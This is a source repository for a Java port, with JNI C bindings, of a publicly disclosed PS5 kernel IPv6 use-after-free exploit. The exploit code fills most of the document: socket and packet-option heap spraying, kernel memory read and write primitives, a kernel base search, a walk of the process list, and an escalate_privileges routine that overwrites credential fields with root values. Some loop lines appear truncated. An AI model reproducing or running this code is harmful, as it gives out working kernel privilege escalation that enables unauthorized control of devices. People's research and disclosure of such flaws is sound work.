├── .gitignore ├── KernelExploit.java ├── Makefile ├── NativeMemory.java ├── libkernel.c ├── libkernel.h └── libkernel.java /.gitignore: -------------------------------------------------------------------------------- 1 | *~ 2 | -------------------------------------------------------------------------------- /KernelExploit.java: -------------------------------------------------------------------------------- 1 | // Java port of the ps5 ipv6 use after free exploit disclosed by theflow at: 2 | // https://hackerone.com/reports/826026 3 | 4 | public class KernelExploit { 5 | 6 | // Define libc macros 7 | private static final int AF_INET6 = 28; 8 | private static final int SOCK_DGRAM = 2; 9 | private static final int IPPROTO_UDP = 17; 10 | private static final int IPPROTO_IPV6 = 41; 11 | private static final int IPV6_TCLASS = 61; 12 | private static final int IPV6_RTHDR_TYPE_0 = 0; 13 | private static final int IPV6_RTHDR = 51; 14 | private static final int IPV6_PKTINFO = 46; 15 | private static final int IPV6_2292PKTOPTIONS = 25; 16 | private static final int O_RDWR = 2; 17 | private static final int SEEK_SET = 0; 18 | private static final int PAGE_SIZE = 16384; 19 | private static final int DTYPE_SOCKET = 2; 20 | private static final int EVFILT_READ = -1; 21 | private static final int EV_ADD = 1; 22 | 23 | // Define auxillary macros 24 | private static final int ELF_MAGIC = 0x464c457f; 25 | 26 | private static final int TCLASS_MASTER = 0x13370000; 27 | private static final int TCLASS_TAINT = 0x42; 28 | private static final int TCLASS_SPRAY = 0x41; 29 | 30 | private static final int NUM_SPRAY_RACE = 0x20; 31 | private static final int NUM_SPRAY = 0x100; 32 | private static final int NUM_KQUEUES = 0x100; 33 | 34 | private static final int IN6_PKTINFO_SIZE = 20; 35 | private static final int FILEDESCENT_SIZE = 48; 36 | private static final int KEVENT_SIZE = 64; 37 | 38 | private static final int ALLPROC_OFFSET = 0x1df3c38; 39 | 40 | private static final int PKTOPTS_PKTINFO_OFFSET = 16; 41 | private static final int PKTOPTS_RTHDR_OFFSET = 112; 42 | private static final int PKTOPTS_TCLASS_OFFSET = 192; 43 | private static final int PROC_LIST_OFFSET = 0; 44 | private static final int PROC_UCRED_OFFSET = 64; 45 | private static final int PROC_FD_OFFSET = 72; 46 | private static final int PROC_PID_OFFSET = 188; 47 | private static final int FILEDESC_FILES_OFFSET = 0; 48 | private static final int FILEDESCENTTBL_OFILES_OFFSET = 8; 49 | private static final int FILEDESCENTTBL_NFILES_OFFSET = 0; 50 | private static final int FILEDESCENT_FILE_OFFSET = 0; 51 | private static final int FILE_TYPE_OFFSET = 32; 52 | private static final int FILE_DATA_OFFSET = 0; 53 | private static final int KNOTE_FOP_OFFSET = 152; 54 | private static final int FILTEROPS_DETACH_OFFSET = 16; 55 | private static final int SOCKET_PCB_OFFSET = 216; 56 | private static final int INPCB_OUTPUTOPTS_OFFSET = 312; 57 | 58 | static long kernel_base; 59 | static long p_ucred, p_fd; 60 | static long kevent_addr, pktopts_addr; 61 | 62 | static int kevent_sock, master_sock, overlap_sock, victim_sock; 63 | static int[] spray_sock = new int[NUM_SPRAY]; 64 | static int[] kq = new int[NUM_KQUEUES]; 65 | 66 | private static void hexDump(long data, int size) { 67 | int i; 68 | for(i = 0; i < size; i++) { 69 | if((i%16 == 0) && i != 0) { 70 | System.out.print("\n"); 71 | } 72 | 73 | System.out.printf("%02X ", NativeMemory.getByte(data+i)); 74 | } 75 | System.out.print("\n"); 76 | } 77 | 78 | private static int new_socket() { 79 | return libkernel.socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); 80 | } 81 | 82 | private static void build_tclass_cmsg(long buf, int val) { 83 | NativeMemory.putInt(buf + 0x00, 20); 84 | NativeMemory.putInt(buf + 0x04, IPPROTO_IPV6); 85 | NativeMemory.putInt(buf + 0x08, IPV6_TCLASS); 86 | NativeMemory.putInt(buf + 0x10, val); 87 | } 88 | 89 | private static int build_rthdr_msg(long buf, int size) { 90 | int len; 91 | 92 | len = ((size >> 3) - 1) & ~1; 93 | size = (len + 1) << 3; 94 | 95 | NativeMemory.setMemory(buf, size, (byte)0); 96 | NativeMemory.putByte(buf + 0, (byte)0); 97 | NativeMemory.putByte(buf + 1, (byte)len); 98 | NativeMemory.putByte(buf + 2, (byte)IPV6_RTHDR_TYPE_0); 99 | NativeMemory.putByte(buf + 3, (byte)(len >> 1)); 100 | 101 | return size; 102 | } 103 | 104 | private static int get_rthdr(int s, long buf, int len) { 105 | long addr = NativeMemory.allocateMemory(4); 106 | NativeMemory.putInt(addr, len); 107 | int ret = libkernel.getsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, addr); 108 | NativeMemory.freeMemory(addr); 109 | return ret; 110 | } 111 | 112 | private static int set_rthdr(int s, long buf, int len) { 113 | return libkernel.setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, len); 114 | } 115 | 116 | private static int free_rthdr(int s) { 117 | return set_rthdr(s, 0, 0); 118 | } 119 | 120 | private static int get_tclass(int s) { 121 | int val; 122 | 123 | long p_val = NativeMemory.allocateMemory(4); 124 | long p_len = NativeMemory.allocateMemory(4); 125 | 126 | NativeMemory.putInt(p_len, 4); 127 | libkernel.getsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, p_val, p_len); 128 | val = NativeMemory.getInt(p_val); 129 | 130 | NativeMemory.freeMemory(p_val); 131 | NativeMemory.freeMemory(p_len); 132 | 133 | return val; 134 | } 135 | 136 | private static int set_tclass(int s, int val) { 137 | long p_val = NativeMemory.allocateMemory(4); 138 | NativeMemory.putInt(p_val, val); 139 | int ret = libkernel.setsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, p_val, 4); 140 | NativeMemory.freeMemory(p_val); 141 | return ret; 142 | } 143 | 144 | private static int get_pktinfo(int s, long buf) { 145 | long p_len = NativeMemory.allocateMemory(4); 146 | NativeMemory.putInt(p_len, IN6_PKTINFO_SIZE); 147 | int ret = libkernel.getsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, p_len); 148 | NativeMemory.freeMemory(p_len); 149 | return ret; 150 | } 151 | 152 | private static int set_pktinfo(int s, long buf) { 153 | return libkernel.setsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, IN6_PKTINFO_SIZE); 154 | } 155 | 156 | private static int set_pktopts(int s, long buf, int len) { 157 | return libkernel.setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, buf, len); 158 | } 159 | 160 | private static int free_pktopts(int s) { 161 | return set_pktopts(s, 0, 0); 162 | } 163 | 164 | private static long leak_kmalloc(long buf, int size) { 165 | int rthdr_len = build_rthdr_msg(buf, size); 166 | set_rthdr(master_sock, buf, rthdr_len); 167 | get_rthdr(master_sock, buf, rthdr_len); 168 | return NativeMemory.getLong(buf + 0x00); 169 | } 170 | 171 | private static void write_to_victim(long addr) { 172 | long buf = NativeMemory.allocateMemory(IN6_PKTINFO_SIZE); 173 | NativeMemory.putLong(buf + 0x00, addr); 174 | NativeMemory.putLong(buf + 0x08, 0); 175 | NativeMemory.putLong(buf + 0x10, 0); 176 | set_pktinfo(master_sock, buf); 177 | //NativeMemory.freeMemory(buf); 178 | } 179 | 180 | private static int find_victim_sock() { 181 | long buf = NativeMemory.allocateMemory(IN6_PKTINFO_SIZE); 182 | int ret = -1; 183 | 184 | write_to_victim(pktopts_addr + PKTOPTS_PKTINFO_OFFSET); 185 | for(int i=0; i= 0) { 239 | libkernel.lseek(fd, addr, SEEK_SET); 240 | libkernel.write(fd, buf, 8); 241 | libkernel.close(fd); 242 | } 243 | NativeMemory.freeMemory(buf); 244 | } 245 | 246 | private static int kwrite(long addr, long buf) { 247 | write_to_victim(addr); 248 | return set_pktinfo(victim_sock, buf); 249 | } 250 | 251 | private static long find_kernel_base(long addr) { 252 | addr &= ~(PAGE_SIZE - 1); 253 | while (kread32(addr) != ELF_MAGIC) { 254 | addr -= PAGE_SIZE; 255 | } 256 | return addr; 257 | } 258 | 259 | 260 | private static int find_proc_cred_and_fd(int pid) { 261 | long proc = kread64(kernel_base + ALLPROC_OFFSET); 262 | 263 | while (proc != 0) { 264 | if (kread32(proc + PROC_PID_OFFSET) == pid) { 265 | p_ucred = kread64(proc + PROC_UCRED_OFFSET); 266 | p_fd = kread64(proc + PROC_FD_OFFSET); 267 | System.out.println("[+] p_ucred: 0x" + Long.toHexString(p_ucred)); 268 | System.out.println("[+] p_fd: 0x" + Long.toHexString(p_fd)); 269 | return 0; 270 | } 271 | 272 | proc = kread64(proc + PROC_LIST_OFFSET); 273 | } 274 | 275 | return -1; 276 | } 277 | 278 | private static long find_socket_data(int s) { 279 | long files, ofiles, fp; 280 | int nfiles; 281 | short type; 282 | 283 | files = kread64(p_fd + FILEDESC_FILES_OFFSET); 284 | if(files == 0) { 285 | return 0; 286 | } 287 | 288 | ofiles = files + FILEDESCENTTBL_OFILES_OFFSET; 289 | 290 | nfiles = kread32(files + FILEDESCENTTBL_NFILES_OFFSET); 291 | if(s < 0 || s >= nfiles) { 292 | return 0; 293 | } 294 | 295 | fp = kread64(ofiles + s * FILEDESCENT_SIZE + FILEDESCENT_FILE_OFFSET); 296 | if(fp == 0) { 297 | return 0; 298 | } 299 | 300 | type = kread16(fp + FILE_TYPE_OFFSET); 301 | if(type != DTYPE_SOCKET) { 302 | return 0; 303 | } 304 | 305 | return kread64(fp + FILE_DATA_OFFSET); 306 | } 307 | 308 | private static long find_socket_pcb(int s) { 309 | long f_data; 310 | 311 | f_data = find_socket_data(s); 312 | if (f_data == 0) { 313 | return 0; 314 | } 315 | 316 | return kread64(f_data + SOCKET_PCB_OFFSET); 317 | } 318 | 319 | private static long find_socket_pktopts(int s) { 320 | long in6p; 321 | 322 | in6p = find_socket_pcb(s); 323 | if(in6p == 0) { 324 | return 0; 325 | } 326 | 327 | return kread64(in6p + INPCB_OUTPUTOPTS_OFFSET); 328 | } 329 | 330 | private static void cleanup() { 331 | long master_pktopts, overlap_pktopts, victim_pktopts; 332 | 333 | master_pktopts = find_socket_pktopts(master_sock); 334 | overlap_pktopts = find_socket_pktopts(overlap_sock); 335 | victim_pktopts = find_socket_pktopts(victim_sock); 336 | 337 | kwrite64(master_pktopts + PKTOPTS_PKTINFO_OFFSET, 0); 338 | kwrite64(overlap_pktopts + PKTOPTS_RTHDR_OFFSET, 0); 339 | kwrite64(victim_pktopts + PKTOPTS_PKTINFO_OFFSET, 0); 340 | } 341 | 342 | private static void escalate_privileges() { 343 | long buf = NativeMemory.allocateMemory(IN6_PKTINFO_SIZE); 344 | 345 | NativeMemory.putByte(buf + 0x00, (byte)0); // cr_uid 346 | NativeMemory.putByte(buf + 0x04, (byte)0); // cr_ruid 347 | NativeMemory.putByte(buf + 0x08, (byte)0); // cr_svuid 348 | NativeMemory.putByte(buf + 0x0c, (byte)1); // cr_ngroups 349 | NativeMemory.putByte(buf + 0x10, (byte)0); // cr_rgid 350 | 351 | kwrite(p_ucred + 4, buf); 352 | 353 | NativeMemory.freeMemory(buf); 354 | } 355 | 356 | private static int find_overlap_sock() { 357 | set_tclass(master_sock, TCLASS_TAINT); 358 | 359 | for(int i=0; i 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | 9 | JNIEXPORT jlong JNICALL 10 | Java_libkernel_usleep(JNIEnv *env, jclass cls, jint usec) { 11 | return usleep(usec); 12 | } 13 | 14 | 15 | JNIEXPORT jint JNICALL 16 | Java_libkernel_open(JNIEnv *env, jclass cls, jstring path, jint flags) { 17 | const char *buf = (*env)->GetStringUTFChars(env, path, 0); 18 | int fd = open(buf, flags); 19 | (*env)->ReleaseStringUTFChars(env, path, buf); 20 | return fd; 21 | } 22 | 23 | 24 | JNIEXPORT jlong JNICALL 25 | Java_libkernel_lseek(JNIEnv *env, jclass cls, jint fd, jlong offset, 26 | jint whence) { 27 | return lseek(fd, offset, whence); 28 | } 29 | 30 | 31 | JNIEXPORT jlong JNICALL 32 | Java_libkernel_write(JNIEnv *env, jclass cls, jint fd, jlong buf, jint count) { 33 | return write(fd, (void*)buf, count); 34 | } 35 | 36 | 37 | JNIEXPORT jint JNICALL 38 | Java_libkernel_close(JNIEnv *env, jclass cls, jint fd) { 39 | return close(fd); 40 | } 41 | 42 | 43 | JNIEXPORT jint JNICALL 44 | Java_libkernel_getpid(JNIEnv *env, jclass cls) { 45 | return getpid(); 46 | } 47 | 48 | 49 | JNIEXPORT jint JNICALL 50 | Java_libkernel_kqueue(JNIEnv *env, jclass cls) { 51 | return kqueue(); 52 | } 53 | 54 | 55 | JNIEXPORT jint JNICALL 56 | Java_libkernel_kevent(JNIEnv *env, jclass cls, jint kg, jlong changelist, 57 | jint nchanges, jlong eventlist, jint nevents, 58 | jlong timeout) { 59 | return kevent(kg, (void*)changelist, nchanges, (void*)eventlist, nevents, 60 | (void*)timeout); 61 | } 62 | 63 | 64 | JNIEXPORT jlong JNICALL 65 | Java_libkernel_memset(JNIEnv *env, jclass cls, jlong dest, jint c, jlong len) { 66 | return (jlong)memset((void*)dest, c, len); 67 | } 68 | 69 | 70 | JNIEXPORT jint JNICALL 71 | Java_libkernel_socket(JNIEnv *env, jclass cls, jint domain, jint type, 72 | jint protocol) { 73 | return socket(domain, type, protocol); 74 | } 75 | 76 | 77 | JNIEXPORT jint JNICALL 78 | Java_libkernel_getsockopt(JNIEnv *env, jclass cls, jint sockfd, jint level, 79 | jint optname, jlong optval, jlong optlen) { 80 | return getsockopt(sockfd, level, optname, (void*)optval, (void*)optlen); 81 | } 82 | 83 | 84 | JNIEXPORT jint JNICALL 85 | Java_libkernel_setsockopt(JNIEnv *env, jclass cls, jint sockfd, jint level, 86 | jint optname, jlong optval, jint optlen) { 87 | return setsockopt(sockfd, level, optname, (void*)optval, optlen); 88 | } 89 | 90 | -------------------------------------------------------------------------------- /libkernel.h: -------------------------------------------------------------------------------- 1 | /* DO NOT EDIT THIS FILE - it is machine generated */ 2 | #include 3 | /* Header for class libkernel */ 4 | 5 | #ifndef _Included_libkernel 6 | #define _Included_libkernel 7 | #ifdef __cplusplus 8 | extern "C" { 9 | #endif 10 | /* 11 | * Class: libkernel 12 | * Method: usleep 13 | * Signature: (I)J 14 | */ 15 | JNIEXPORT jlong JNICALL Java_libkernel_usleep 16 | (JNIEnv *, jclass, jint); 17 | 18 | /* 19 | * Class: libkernel 20 | * Method: open 21 | * Signature: (Ljava/lang/String;I)I 22 | */ 23 | JNIEXPORT jint JNICALL Java_libkernel_open 24 | (JNIEnv *, jclass, jstring, jint); 25 | 26 | /* 27 | * Class: libkernel 28 | * Method: lseek 29 | * Signature: (IJI)J 30 | */ 31 | JNIEXPORT jlong JNICALL Java_libkernel_lseek 32 | (JNIEnv *, jclass, jint, jlong, jint); 33 | 34 | /* 35 | * Class: libkernel 36 | * Method: write 37 | * Signature: (IJI)J 38 | */ 39 | JNIEXPORT jlong JNICALL Java_libkernel_write 40 | (JNIEnv *, jclass, jint, jlong, jint); 41 | 42 | /* 43 | * Class: libkernel 44 | * Method: close 45 | * Signature: (I)I 46 | */ 47 | JNIEXPORT jint JNICALL Java_libkernel_close 48 | (JNIEnv *, jclass, jint); 49 | 50 | /* 51 | * Class: libkernel 52 | * Method: getpid 53 | * Signature: ()I 54 | */ 55 | JNIEXPORT jint JNICALL Java_libkernel_getpid 56 | (JNIEnv *, jclass); 57 | 58 | /* 59 | * Class: libkernel 60 | * Method: kqueue 61 | * Signature: ()I 62 | */ 63 | JNIEXPORT jint JNICALL Java_libkernel_kqueue 64 | (JNIEnv *, jclass); 65 | 66 | /* 67 | * Class: libkernel 68 | * Method: kevent 69 | * Signature: (IJIJIJ)I 70 | */ 71 | JNIEXPORT jint JNICALL Java_libkernel_kevent 72 | (JNIEnv *, jclass, jint, jlong, jint, jlong, jint, jlong); 73 | 74 | /* 75 | * Class: libkernel 76 | * Method: memset 77 | * Signature: (JIJ)J 78 | */ 79 | JNIEXPORT jlong JNICALL Java_libkernel_memset 80 | (JNIEnv *, jclass, jlong, jint, jlong); 81 | 82 | /* 83 | * Class: libkernel 84 | * Method: socket 85 | * Signature: (III)I 86 | */ 87 | JNIEXPORT jint JNICALL Java_libkernel_socket 88 | (JNIEnv *, jclass, jint, jint, jint); 89 | 90 | /* 91 | * Class: libkernel 92 | * Method: getsockopt 93 | * Signature: (IIIJJ)I 94 | */ 95 | JNIEXPORT jint JNICALL Java_libkernel_getsockopt 96 | (JNIEnv *, jclass, jint, jint, jint, jlong, jlong); 97 | 98 | /* 99 | * Class: libkernel 100 | * Method: setsockopt 101 | * Signature: (IIIJI)I 102 | */ 103 | JNIEXPORT jint JNICALL Java_libkernel_setsockopt 104 | (JNIEnv *, jclass, jint, jint, jint, jlong, jint); 105 | 106 | #ifdef __cplusplus 107 | } 108 | #endif 109 | #endif 110 | -------------------------------------------------------------------------------- /libkernel.java: -------------------------------------------------------------------------------- 1 | public class libkernel { 2 | 3 | static { 4 | System.loadLibrary("kernel"); 5 | } 6 | 7 | public static native long usleep(int usec); 8 | 9 | public static native int open(String path, int flags); 10 | 11 | public static native long lseek(int fd, long offset, int whence); 12 | 13 | public static native long write(int fd, long buf, int count); 14 | 15 | public static native int close(int fd); 16 | 17 | public static native int getpid(); 18 | 19 | public static native int kqueue(); 20 | 21 | public static native int kevent(int kq, long changelist, int nchanges, 22 | long eventlist, int nevents, long timeout); 23 | 24 | public static native long memset(long dest, int c, long len); 25 | 26 | public static native int socket(int domain, int type, int protocol); 27 | 28 | public static native int getsockopt(int sockfd, int level, int optname, long optval, 29 | long optlen); 30 | 31 | public static native int setsockopt(int sockfd, int level, int optname, long optval, 32 | int optlen); 33 | } 34 | 35 | --------------------------------------------------------------------------------